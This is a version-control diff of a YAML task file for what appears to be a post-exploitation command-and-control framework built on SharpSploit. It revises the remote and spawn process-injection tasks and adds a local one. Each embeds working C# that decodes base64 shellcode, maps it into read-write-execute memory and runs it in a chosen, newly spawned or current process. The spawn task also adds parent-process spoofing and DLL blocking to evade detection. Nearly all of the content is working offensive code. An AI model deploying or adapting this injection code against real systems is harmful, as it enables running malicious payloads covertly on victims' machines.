|
1053 | 1053 | EmbeddedResources: [] |
1054 | 1054 | ReferenceAssemblies: [] |
1055 | 1055 | EmbeddedResources: [] |
1056 | | -- Name: ProcessInjection |
| 1056 | +- Name: ProcessInjectionRemote |
1057 | 1057 | Aliases: [] |
1058 | 1058 | Author: |
1059 | | - Name: 'Simone Salucci & Daniel López' |
| 1059 | + Name: Simone Salucci & Daniel López |
1060 | 1060 | Handle: '@saim1z @attl4s' |
1061 | 1061 | Link: '' |
1062 | | - Description: Injects and executes the specified shellcode into the process specified by the ProcessID parameter using one of the available techniques |
| 1062 | + Description: Injects and executes the specified Positional Independent Code into the process specified by the ProcessID parameter using one of the available techniques. |
1063 | 1063 | Help: |
1064 | 1064 | Language: CSharp |
1065 | 1065 | CompatibleDotNetVersions: |
1066 | 1066 | - Net35 |
1067 | 1067 | - Net40 |
1068 | | - Code: "using System;\nusing System.Diagnostics;\nusing SharpSploit.Execution;\nusing SharpSploit.Execution.Injection;\n\npublic static class Task\n{\n public static string Execute(string ExecutionTechnique, string ProcessID, string ShellCode)\n {\n string output = \"\";\n RemoteThreadCreate.APIS apiTechnique;\n\n if (ExecutionTechnique == \"CreateRemoteThread\") {apiTechnique = RemoteThreadCreate.APIS.CreateRemoteThread;}\n else if (ExecutionTechnique == \"NtCreateThreadEx\") {apiTechnique = RemoteThreadCreate.APIS.NtCreateThreadEx;}\n else if (ExecutionTechnique == \"RtlCreateUserThread\") {apiTechnique = RemoteThreadCreate.APIS.RtlCreateUserThread;}\n else if (ExecutionTechnique == \"\" || ExecutionTechnique == \"\\\"\")\n {\n apiTechnique = RemoteThreadCreate.APIS.CreateRemoteThread;\n output += \"No technique passed as argument. CreateRemoteThread technique was used\\n\";\n }\n else\n {\n output += \"Injection technique \" + ExecutionTechnique + \" is not implemented. Choose one of the following values:\\n\" +\n \"CreateRemoteThread\\n\" +\n \"NtCreateThreadEx\\n\" +\n \"RtlCreateUserThread\\n\";\n return output;\n }\n \n try\n { \n int ProcID;\n int currentProcessID = Process.GetCurrentProcess().Id;\n if (ProcessID == \"\" || ProcessID == \"\\\"\")\n {\n ProcID = currentProcessID;\n output += \"PID not specified, shellcode will be injected into the current process\\n\";\n }\n else\n {\n ProcID = Int32.Parse(ProcessID);\n }\n \n Process proc = Process.GetProcessById(ProcID);\n RemoteThreadCreate injectionTechnique = new RemoteThreadCreate\n {\n api = apiTechnique,\n suspended = false\n };\n SectionMapAlloc allocationTechnique = new SectionMapAlloc\n {\n localSectionPermissions = Win32.WinNT.PAGE_READWRITE,\n remoteSectionPermissions = Win32.WinNT.PAGE_EXECUTE_READWRITE,\n sectionAttributes = Win32.WinNT.SEC_COMMIT\n };\n\n PICPayload payload = new PICPayload(Convert.FromBase64String(ShellCode));\n IntPtr payloadLocation = allocationTechnique.Allocate(payload, proc);\n Injector.Inject(payload, allocationTechnique, injectionTechnique, proc);\n \n output += \"Attempting to inject the provided shellcode into process \" + proc.ProcessName + \" with PID \" + ProcID;\n return output;\n }\n catch (Exception e) { return e.GetType().FullName + \": \" + e.Message + Environment.NewLine + e.StackTrace; }\n return output;\n }\n}" |
| 1068 | + Code: "using System;\nusing System.Diagnostics;\nusing SharpSploit.Execution;\nusing SharpSploit.Execution.Injection;\n\npublic static class Task\n{\n public static string Execute(string ExecutionTechnique, string ProcessID, string PICpayload)\n {\n string output = \"\";\n RemoteThreadCreate.APIS apiTechnique;\n\n if (ExecutionTechnique == \"CreateRemoteThread\") {apiTechnique = RemoteThreadCreate.APIS.CreateRemoteThread;}\n else if (ExecutionTechnique == \"NtCreateThreadEx\") {apiTechnique = RemoteThreadCreate.APIS.NtCreateThreadEx;}\n else if (ExecutionTechnique == \"RtlCreateUserThread\") {apiTechnique = RemoteThreadCreate.APIS.RtlCreateUserThread;}\n else if (ExecutionTechnique == \"\" || ExecutionTechnique == \"\\\"\")\n {\n apiTechnique = RemoteThreadCreate.APIS.CreateRemoteThread;\n output += \"No technique passed as argument. CreateRemoteThread technique was used\\n\";\n }\n else\n {\n output += \"Injection technique \" + ExecutionTechnique + \" is not implemented. Choose one of the following values:\\n\" +\n \"CreateRemoteThread\\n\" +\n \"NtCreateThreadEx\\n\" +\n \"RtlCreateUserThread\\n\";\n return output;\n }\n \n try\n { \n if (ProcessID == \"\" || ProcessID == \"\\\"\")\n {\n output += \"No ProcessID passed as argument. Please specify a valid ProcessID\";\n }\n \n int ProcID = Int32.Parse(ProcessID); \n Process proc = Process.GetProcessById(ProcID);\n \n RemoteThreadCreate injectionTechnique = new RemoteThreadCreate\n {\n api = apiTechnique,\n suspended = false\n };\n \n SectionMapAlloc allocationTechnique = new SectionMapAlloc\n {\n localSectionPermissions = Win32.WinNT.PAGE_READWRITE,\n remoteSectionPermissions = Win32.WinNT.PAGE_EXECUTE_READWRITE,\n sectionAttributes = Win32.WinNT.SEC_COMMIT\n };\n\n PICPayload payload = new PICPayload(Convert.FromBase64String(PICpayload));\n Injector.Inject(payload, allocationTechnique, injectionTechnique, proc);\n \n output += \"Attempting to inject the provided shellcode into process \" + proc.ProcessName + \" with PID \" + ProcID;\n return output;\n }\n catch (Exception e) { return e.GetType().FullName + \": \" + e.Message + Environment.NewLine + e.StackTrace; }\n return output;\n }\n}" |
1069 | 1069 | TaskingType: Assembly |
1070 | 1070 | UnsafeCompile: false |
1071 | 1071 | TokenTask: false |
1072 | 1072 | Options: |
1073 | 1073 | - Name: ExecutionTechnique |
1074 | 1074 | Value: '' |
1075 | 1075 | DefaultValue: CreateRemoteThread |
1076 | | - Description: The technique used to execute the specified shellcode. |
| 1076 | + Description: The technique used to execute the specified Positional Independent Code. |
1077 | 1077 | SuggestedValues: |
1078 | 1078 | - CreateRemoteThread |
1079 | 1079 | - NtCreateThreadEx |
|
1084 | 1084 | - Name: ProcessID |
1085 | 1085 | Value: '' |
1086 | 1086 | DefaultValue: '' |
1087 | | - Description: Process ID of the process to impersonate. If empty, the shellcode will be injected into the current process. |
| 1087 | + Description: Process ID of the process to impersonate. |
1088 | 1088 | SuggestedValues: [] |
1089 | | - Optional: true |
| 1089 | + Optional: false |
1090 | 1090 | DisplayInCommand: true |
1091 | 1091 | FileOption: false |
1092 | | - - Name: ShellCode |
| 1092 | + - Name: PICpayload |
1093 | 1093 | Value: '' |
1094 | 1094 | DefaultValue: '' |
1095 | | - Description: ShellCode to Inject. |
| 1095 | + Description: Positional Independent Code to inject into the target process. |
1096 | 1096 | SuggestedValues: [] |
1097 | 1097 | Optional: false |
1098 | 1098 | DisplayInCommand: false |
|
1178 | 1178 | - Name: ProcessInjectionSpawn |
1179 | 1179 | Aliases: [] |
1180 | 1180 | Author: |
1181 | | - Name: 'Simone Salucci & Daniel López' |
| 1181 | + Name: Simone Salucci & Daniel López |
1182 | 1182 | Handle: '@saim1z @attl4s' |
1183 | 1183 | Link: '' |
1184 | | - Description: Creates a new process using the createProcess Win32 API call through PInvoke and injects and executes the specified shellcode using one of the available techniques |
| 1184 | + Description: Creates a new process using the createProcess Win32 API call through PInvoke and injects and executes the specified Positional Independent Code using one of the available techniques. Supports Parent Process Spoofing (PPID) and the BlockDLL attribute. |
1185 | 1185 | Help: |
1186 | 1186 | Language: CSharp |
1187 | 1187 | CompatibleDotNetVersions: |
1188 | 1188 | - Net35 |
1189 | 1189 | - Net40 |
1190 | | - Code: "using System;\nusing System.Diagnostics;\n\nusing SharpSploit.Execution;\nusing SharpSploit.Execution.Injection;\n\npublic static class Task\n{\n public static string Execute(string ExecutionTechnique, string ProcessName, string ShellCode,string ParentPID)\n {\n string output = \"\";\n RemoteThreadCreate.APIS apiTechnique;\n\n if (ExecutionTechnique == \"CreateRemoteThread\") {apiTechnique = RemoteThreadCreate.APIS.CreateRemoteThread;}\n else if (ExecutionTechnique == \"NtCreateThreadEx\") {apiTechnique = RemoteThreadCreate.APIS.NtCreateThreadEx;}\n else if (ExecutionTechnique == \"RtlCreateUserThread\") {apiTechnique = RemoteThreadCreate.APIS.RtlCreateUserThread;} \n else if (ExecutionTechnique == \"\" || ExecutionTechnique == \"\\\"\")\n {\n apiTechnique = RemoteThreadCreate.APIS.CreateRemoteThread;\n output += \"No technique passed as argument. CreateRemoteThread technique was used\\n\";\n }\n else\n {\n output += \"Injection technique \" + ExecutionTechnique + \" is not implemented. Choose one of the following values:\\n\" +\n \"CreateRemoteThread\\n\" +\n \"NtCreateThreadEx\\n\" +\n \"RtlCreateUserThread\\n\";\n return output;\n }\n \n try\n { \n int ProcID;\n if (ParentPID == \"\" || ParentPID == \"\\\"\")\n {\n ProcID = (int)Shell.CreateProcessPInvoke(ProcessName).dwProcessId;\n }\n else\n {\n int PPID = Int32.Parse(ParentPID);\n ProcID = (int)Shell.CreateProcessPInvokePPID(ProcessName,PPID).dwProcessId;\n }\n \n Process proc = Process.GetProcessById(ProcID);\n RemoteThreadCreate injectionTechnique = new RemoteThreadCreate\n {\n api = apiTechnique,\n suspended = false\n };\n SectionMapAlloc allocationTechnique = new SectionMapAlloc\n {\n localSectionPermissions = Win32.WinNT.PAGE_READWRITE,\n remoteSectionPermissions = Win32.WinNT.PAGE_EXECUTE_READWRITE,\n sectionAttributes = Win32.WinNT.SEC_COMMIT\n };\n\n PICPayload payload = new PICPayload(Convert.FromBase64String(ShellCode));\n IntPtr payloadLocation = allocationTechnique.Allocate(payload, proc);\n Injector.Inject(payload, allocationTechnique, injectionTechnique, proc);\n \n output += \"Attempting to inject the provided shellcode into process \" + proc.ProcessName;\n return output;\n }\n catch (Exception e) { return e.GetType().FullName + \": \" + e.Message + Environment.NewLine + e.StackTrace; }\n return output;\n }\n}\n\n" |
| 1190 | + Code: "using System;\nusing System.Diagnostics;\nusing SharpSploit.Execution;\nusing SharpSploit.Execution.Injection;\n\npublic static class Task\n{\n public static string Execute(string ExecutionTechnique, string Binary, string PICpayload, string ParentPID, string BlockDLL)\n {\n string output = \"\";\n RemoteThreadCreate.APIS apiTechnique;\n \n if (ExecutionTechnique == \"CreateRemoteThread\") {apiTechnique = RemoteThreadCreate.APIS.CreateRemoteThread;}\n else if (ExecutionTechnique == \"NtCreateThreadEx\") {apiTechnique = RemoteThreadCreate.APIS.NtCreateThreadEx;}\n else if (ExecutionTechnique == \"RtlCreateUserThread\") {apiTechnique = RemoteThreadCreate.APIS.RtlCreateUserThread;} \n else if (ExecutionTechnique == \"\" || ExecutionTechnique == \"\\\"\")\n {\n apiTechnique = RemoteThreadCreate.APIS.CreateRemoteThread;\n output += \"No technique passed as argument. CreateRemoteThread technique was used\\n\";\n }\n else\n {\n output += \"Injection technique \" + ExecutionTechnique + \" is not implemented. Choose one of the following values:\\n\" +\n \"CreateRemoteThread\\n\" +\n \"NtCreateThreadEx\\n\" +\n \"RtlCreateUserThread\\n\";\n return output;\n }\n \n try\n { \n bool BlockDLLb = (BlockDLL.ToLower() == \"true\" ? true : false);\n \n int ProcID;\n if (ParentPID == \"\" || ParentPID == \"\\\"\")\n {\n ProcID = (int)Shell.CreateProcessPInvoke(Binary,BlockDLLb).dwProcessId;\n }\n else\n {\n int PPID = Int32.Parse(ParentPID);\n ProcID = (int)Shell.CreateProcessPInvokePPID(Binary,PPID,BlockDLLb).dwProcessId;\n }\n \n Process proc = Process.GetProcessById(ProcID);\n RemoteThreadCreate injectionTechnique = new RemoteThreadCreate\n {\n api = apiTechnique,\n suspended = false\n };\n SectionMapAlloc allocationTechnique = new SectionMapAlloc\n {\n localSectionPermissions = Win32.WinNT.PAGE_READWRITE,\n remoteSectionPermissions = Win32.WinNT.PAGE_EXECUTE_READWRITE,\n sectionAttributes = Win32.WinNT.SEC_COMMIT\n };\n\n PICPayload payload = new PICPayload(Convert.FromBase64String(PICpayload));\n Injector.Inject(payload, allocationTechnique, injectionTechnique, proc);\n \n output += \"Attempting to inject the provided shellcode into process \" + proc.ProcessName;\n return output;\n }\n catch (Exception e) { return e.GetType().FullName + \": \" + e.Message + Environment.NewLine + e.StackTrace; }\n return output;\n }\n}\n\n" |
1191 | 1191 | TaskingType: Assembly |
1192 | 1192 | UnsafeCompile: false |
1193 | 1193 | TokenTask: false |
|
1203 | 1203 | Optional: true |
1204 | 1204 | DisplayInCommand: true |
1205 | 1205 | FileOption: false |
1206 | | - - Name: ProcessName |
| 1206 | + - Name: Binary |
1207 | 1207 | Value: '' |
1208 | 1208 | DefaultValue: '' |
1209 | 1209 | Description: Full path of the new process to spawn (e.g. C:\windows\system32\notepad.exe). |
1210 | 1210 | SuggestedValues: [] |
1211 | 1211 | Optional: false |
1212 | 1212 | DisplayInCommand: true |
1213 | 1213 | FileOption: false |
1214 | | - - Name: ShellCode |
| 1214 | + - Name: PICpayload |
1215 | 1215 | Value: '' |
1216 | 1216 | DefaultValue: '' |
1217 | | - Description: ShellCode to Inject. |
| 1217 | + Description: Positional Independent Code to inject in the target process. |
1218 | 1218 | SuggestedValues: [] |
1219 | 1219 | Optional: false |
1220 | 1220 | DisplayInCommand: false |
|
1227 | 1227 | Optional: true |
1228 | 1228 | DisplayInCommand: true |
1229 | 1229 | FileOption: false |
| 1230 | + - Name: BlockDLL |
| 1231 | + Value: '' |
| 1232 | + DefaultValue: False |
| 1233 | + Description: Boolean, whether to use BlockDDL. |
| 1234 | + SuggestedValues: [] |
| 1235 | + Optional: true |
| 1236 | + DisplayInCommand: true |
| 1237 | + FileOption: false |
| 1238 | + ReferenceSourceLibraries: |
| 1239 | + - Name: SharpSploit |
| 1240 | + Description: SharpSploit is a library for C# post-exploitation modules. |
| 1241 | + Location: SharpSploit\SharpSploit\ |
| 1242 | + Language: CSharp |
| 1243 | + CompatibleDotNetVersions: |
| 1244 | + - Net35 |
| 1245 | + - Net40 |
| 1246 | + ReferenceAssemblies: |
| 1247 | + - Name: System.Core.dll |
| 1248 | + Location: net40\System.Core.dll |
| 1249 | + DotNetVersion: Net40 |
| 1250 | + - Name: System.DirectoryServices.dll |
| 1251 | + Location: net40\System.DirectoryServices.dll |
| 1252 | + DotNetVersion: Net40 |
| 1253 | + - Name: System.DirectoryServices.Protocols.dll |
| 1254 | + Location: net40\System.DirectoryServices.Protocols.dll |
| 1255 | + DotNetVersion: Net40 |
| 1256 | + - Name: System.dll |
| 1257 | + Location: net40\System.dll |
| 1258 | + DotNetVersion: Net40 |
| 1259 | + - Name: System.IdentityModel.dll |
| 1260 | + Location: net40\System.IdentityModel.dll |
| 1261 | + DotNetVersion: Net40 |
| 1262 | + - Name: System.Management.Automation.dll |
| 1263 | + Location: net40\System.Management.Automation.dll |
| 1264 | + DotNetVersion: Net40 |
| 1265 | + - Name: System.Management.dll |
| 1266 | + Location: net40\System.Management.dll |
| 1267 | + DotNetVersion: Net40 |
| 1268 | + - Name: System.ServiceProcess.dll |
| 1269 | + Location: net40\System.ServiceProcess.dll |
| 1270 | + DotNetVersion: Net40 |
| 1271 | + - Name: mscorlib.dll |
| 1272 | + Location: net40\mscorlib.dll |
| 1273 | + DotNetVersion: Net40 |
| 1274 | + - Name: System.XML.dll |
| 1275 | + Location: net35\System.XML.dll |
| 1276 | + DotNetVersion: Net35 |
| 1277 | + - Name: System.Windows.Forms.dll |
| 1278 | + Location: net35\System.Windows.Forms.dll |
| 1279 | + DotNetVersion: Net35 |
| 1280 | + - Name: System.dll |
| 1281 | + Location: net35\System.dll |
| 1282 | + DotNetVersion: Net35 |
| 1283 | + - Name: System.DirectoryServices.Protocols.dll |
| 1284 | + Location: net35\System.DirectoryServices.Protocols.dll |
| 1285 | + DotNetVersion: Net35 |
| 1286 | + - Name: System.DirectoryServices.dll |
| 1287 | + Location: net35\System.DirectoryServices.dll |
| 1288 | + DotNetVersion: Net35 |
| 1289 | + - Name: System.Core.dll |
| 1290 | + Location: net35\System.Core.dll |
| 1291 | + DotNetVersion: Net35 |
| 1292 | + - Name: mscorlib.dll |
| 1293 | + Location: net35\mscorlib.dll |
| 1294 | + DotNetVersion: Net35 |
| 1295 | + - Name: System.IdentityModel.dll |
| 1296 | + Location: net35\System.IdentityModel.dll |
| 1297 | + DotNetVersion: Net35 |
| 1298 | + - Name: System.Management.Automation.dll |
| 1299 | + Location: net35\System.Management.Automation.dll |
| 1300 | + DotNetVersion: Net35 |
| 1301 | + - Name: System.Management.dll |
| 1302 | + Location: net35\System.Management.dll |
| 1303 | + DotNetVersion: Net35 |
| 1304 | + - Name: System.ServiceProcess.dll |
| 1305 | + Location: net35\System.ServiceProcess.dll |
| 1306 | + DotNetVersion: Net35 |
| 1307 | + - Name: System.Windows.Forms.dll |
| 1308 | + Location: net40\System.Windows.Forms.dll |
| 1309 | + DotNetVersion: Net40 |
| 1310 | + - Name: System.XML.dll |
| 1311 | + Location: net40\System.XML.dll |
| 1312 | + DotNetVersion: Net40 |
| 1313 | + EmbeddedResources: [] |
| 1314 | + ReferenceAssemblies: [] |
| 1315 | + EmbeddedResources: [] |
| 1316 | +- Name: ProcessInjectionLocal |
| 1317 | + Aliases: [] |
| 1318 | + Author: |
| 1319 | + Name: Simone Salucci & Daniel López |
| 1320 | + Handle: '@saim1z @attl4s' |
| 1321 | + Link: '' |
| 1322 | + Description: Injects and executes the specified Positional Independent Code into the current process. |
| 1323 | + Help: |
| 1324 | + Language: CSharp |
| 1325 | + CompatibleDotNetVersions: |
| 1326 | + - Net35 |
| 1327 | + - Net40 |
| 1328 | + Code: >- |
| 1329 | + using System; |
| 1330 | +
|
| 1331 | + using System.Diagnostics; |
| 1332 | +
|
| 1333 | + using System.Runtime.InteropServices; |
| 1334 | +
|
| 1335 | + using SharpSploit.Execution; |
| 1336 | +
|
| 1337 | + using SharpSploit.Execution.Injection; |
| 1338 | +
|
| 1339 | +
|
| 1340 | + public static class Task |
| 1341 | +
|
| 1342 | + { |
| 1343 | + [UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)] |
| 1344 | + private delegate Int32 Run(); |
| 1345 | + |
| 1346 | + public static string Execute(string PICpayload) |
| 1347 | + { |
| 1348 | + try |
| 1349 | + { |
| 1350 | + Process proc = Process.GetCurrentProcess(); |
| 1351 | + SectionMapAlloc allocationTechnique = new SectionMapAlloc |
| 1352 | + { |
| 1353 | + localSectionPermissions = Win32.WinNT.PAGE_READWRITE, |
| 1354 | + remoteSectionPermissions = Win32.WinNT.PAGE_EXECUTE_READWRITE, |
| 1355 | + sectionAttributes = Win32.WinNT.SEC_COMMIT |
| 1356 | + }; |
| 1357 | +
|
| 1358 | + PICPayload payload = new PICPayload(Convert.FromBase64String(PICpayload)); |
| 1359 | + IntPtr baseAddr = allocationTechnique.Allocate(payload, proc); |
| 1360 | + Run del = (Run)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(Run)); |
| 1361 | + del(); |
| 1362 | + return "ShellCode execution succeeded."; |
| 1363 | + } |
| 1364 | + catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } |
| 1365 | + return "ShellCode execution failed."; |
| 1366 | + } |
| 1367 | + } |
| 1368 | + TaskingType: Assembly |
| 1369 | + UnsafeCompile: false |
| 1370 | + TokenTask: false |
| 1371 | + Options: |
| 1372 | + - Name: PICpayload |
| 1373 | + Value: '' |
| 1374 | + DefaultValue: '' |
| 1375 | + Description: Positional Independent Code to inject into the current process. |
| 1376 | + SuggestedValues: [] |
| 1377 | + Optional: false |
| 1378 | + DisplayInCommand: false |
| 1379 | + FileOption: true |
1230 | 1380 | ReferenceSourceLibraries: |
1231 | 1381 | - Name: SharpSploit |
1232 | 1382 | Description: SharpSploit is a library for C# post-exploitation modules. |
|
0 commit comments